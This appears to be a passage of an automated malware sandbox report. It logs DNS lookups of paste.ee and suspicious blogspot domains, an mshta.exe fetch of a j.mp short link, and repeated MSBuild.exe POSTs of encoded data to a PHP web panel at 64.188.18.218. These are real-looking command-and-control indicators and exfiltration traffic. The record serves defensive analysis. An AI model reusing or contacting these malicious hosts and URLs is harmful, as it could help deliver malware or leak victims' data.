Jan 13, 2021 13:44:25.715763092 CET	8.8.8.8	192.168.2.22	0x1000	No error (0)	resources.blogblog.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:29.071233988 CET	8.8.8.8	192.168.2.22	0x9210	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:29.071233988 CET	8.8.8.8	192.168.2.22	0x9210	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:29.071233988 CET	8.8.8.8	192.168.2.22	0x9210	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:31.686795950 CET	8.8.8.8	192.168.2.22	0x6e0b	No error (0)	randikhanaekminar.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:31.686795950 CET	8.8.8.8	192.168.2.22	0x6e0b	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:31.746385098 CET	8.8.8.8	192.168.2.22	0x6e0b	No error (0)	randikhanaekminar.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:31.746385098 CET	8.8.8.8	192.168.2.22	0x6e0b	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:33.381355047 CET	8.8.8.8	192.168.2.22	0x605a	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:40.242908955 CET	8.8.8.8	192.168.2.22	0xb851	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:40.242908955 CET	8.8.8.8	192.168.2.22	0xb851	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:40.242908955 CET	8.8.8.8	192.168.2.22	0xb851	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:41.027657986 CET	8.8.8.8	192.168.2.22	0xca10	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:41.027657986 CET	8.8.8.8	192.168.2.22	0xca10	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:41.027657986 CET	8.8.8.8	192.168.2.22	0xca10	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:46.877253056 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	backbones1234511a.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:46.877253056 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:46.938445091 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	backbones1234511a.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:46.938445091 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:47.003381014 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	backbones1234511a.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:47.003381014 CET	8.8.8.8	192.168.2.22	0xd0e2	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:48.962050915 CET	8.8.8.8	192.168.2.22	0x8474	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:54.287549019 CET	8.8.8.8	192.168.2.22	0x10e9	No error (0)	startthepartyup.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:44:54.287549019 CET	8.8.8.8	192.168.2.22	0x10e9	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:55.560195923 CET	8.8.8.8	192.168.2.22	0xa9e8	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:55.560195923 CET	8.8.8.8	192.168.2.22	0xa9e8	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:55.560195923 CET	8.8.8.8	192.168.2.22	0xa9e8	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:44:56.366463900 CET	8.8.8.8	192.168.2.22	0x863c	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:03.182449102 CET	8.8.8.8	192.168.2.22	0xf89f	No error (0)	ghostbackbone123.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:03.182449102 CET	8.8.8.8	192.168.2.22	0xf89f	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:03.239538908 CET	8.8.8.8	192.168.2.22	0xf89f	No error (0)	ghostbackbone123.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:03.239538908 CET	8.8.8.8	192.168.2.22	0xf89f	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:05.338166952 CET	8.8.8.8	192.168.2.22	0x3e66	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:16.686925888 CET	8.8.8.8	192.168.2.22	0x25b	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:16.686925888 CET	8.8.8.8	192.168.2.22	0x25b	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:16.686925888 CET	8.8.8.8	192.168.2.22	0x25b	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:24.157201052 CET	8.8.8.8	192.168.2.22	0xffd	No error (0)	backbones1234511a.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:24.157201052 CET	8.8.8.8	192.168.2.22	0xffd	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:25.164253950 CET	8.8.8.8	192.168.2.22	0x8ed6	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:26.620728016 CET	8.8.8.8	192.168.2.22	0x446f	No error (0)	paste.ee		104.18.49.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:26.620728016 CET	8.8.8.8	192.168.2.22	0x446f	No error (0)	paste.ee		104.18.48.20	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:26.620728016 CET	8.8.8.8	192.168.2.22	0x446f	No error (0)	paste.ee		172.67.219.133	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:32.728512049 CET	8.8.8.8	192.168.2.22	0x565e	No error (0)	startthepartyup.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:32.728512049 CET	8.8.8.8	192.168.2.22	0x565e	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:33.729955912 CET	8.8.8.8	192.168.2.22	0xe20	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:41.276051044 CET	8.8.8.8	192.168.2.22	0x7a65	No error (0)	ghostbackbone123.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 13:45:41.276051044 CET	8.8.8.8	192.168.2.22	0x7a65	No error (0)	blogspot.l.googleusercontent.com		108.177.127.132	A (IP address)	IN (0x0001)
Jan 13, 2021 13:45:42.293833971 CET	8.8.8.8	192.168.2.22	0x5a54	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

j.mp

64.188.18.218

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	67.199.248.16	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2021 13:44:22.788650990 CET	0	OUT	GET /dbgghasdnasdjasgdakgsdhv HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: j.mp Connection: Keep-Alive
Jan 13, 2021 13:44:22.931399107 CET	1	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Jan 2021 12:44:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 137 Cache-Control: private, max-age=90 Location: https://mainjigijigi123.blogspot.com/p/st2222.html Set-Cookie: _bit=l0dcIm-10c992d95c13237e4b-003; Domain=j.mp; Expires=Mon, 12 Jul 2021 12:44:22 GMT Via: 1.1 google Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 42 69 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6e 6a 69 67 69 6a 69 67 69 31 32 33 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 70 2f 73 74 32 32 32 32 2e 68 74 6d 6c 22 3e 6d 6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://mainjigijigi123.blogspot.com/p/st2222.html">moved here</a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49197	64.188.18.218	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2021 13:44:58.951586962 CET	3086	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue Connection: Keep-Alive
Jan 13, 2021 13:44:59.074533939 CET	3086	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:44:59.074958086 CET	3086	OUT	Data Raw: 70 3d 6e 72 6b 4b 50 64 71 51 4c 7a 30 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=nrkKPdqQLz0yNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQfbuprhVvKsgwoBwTJIYwqaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:44:59.209170103 CET	3087	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:44:59 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:44:59.486521959 CET	3087	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:44:59.609003067 CET	3087	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:44:59.609570980 CET	3088	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQ23geXf4zwKGxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:44:59.739639044 CET	3088	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:44:59 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:44:59.815963984 CET	3088	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:44:59.938215971 CET	3088	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:44:59.947058916 CET	3089	OUT	Data Raw: 70 3d 6f 45 34 6f 77 77 34 59 55 6f 55 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=oE4oww4YUoUyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQ3PvW52gNiZWxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:00.075582981 CET	3089	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:44:59 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:00.189289093 CET	3090	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:00.314462900 CET	3091	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:00.318206072 CET	3091	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQyniD10oxXEGxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:00.453552008 CET	3091	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:00.530474901 CET	3092	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:00.653135061 CET	3092	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:00.653510094 CET	3092	OUT	Data Raw: 70 3d 6f 45 34 6f 77 77 34 59 55 6f 55 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=oE4oww4YUoUyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQhjlN6XQ8UZSxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:00.786899090 CET	3093	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:01.049076080 CET	3094	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:01.171358109 CET	3095	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:01.269292116 CET	3095	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQoTIvrk4b62uxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:01.401803017 CET	3095	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:01 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:01.534459114 CET	3096	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:01.657144070 CET	3098	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:01.658987045 CET	3099	OUT	Data Raw: 70 3d 6f 45 34 6f 77 77 34 59 55 6f 55 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=oE4oww4YUoUyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQwFWajRoeYPyxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:01.791830063 CET	3099	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:01 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:02.309396029 CET	3100	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:02.431840897 CET	3100	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:02.432267904 CET	3101	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQPEoLDTxRVLxu7jQTSBpsBqQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:02.561350107 CET	3101	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:02 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:02.773190975 CET	3102	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:02.896239996 CET	3102	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:02.897089005 CET	3102	OUT	Data Raw: 70 3d 6f 45 34 6f 77 77 34 59 55 6f 55 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=oE4oww4YUoUyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQ/U9LpUP7TXKxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:03.030250072 CET	3102	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:02 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:03.275532007 CET	3107	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:03.397965908 CET	3108	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:03.398252964 CET	3108	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQ/U9LpUP7TXJu7jQTSBpsBqQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:03.527234077 CET	3114	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:03 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49198	64.188.18.218	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2021 13:44:59.973675013 CET	3089	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:00.095396042 CET	3090	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:00.096884012 CET	3090	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQ3PvW52gNiZWxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:00.227030039 CET	3090	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
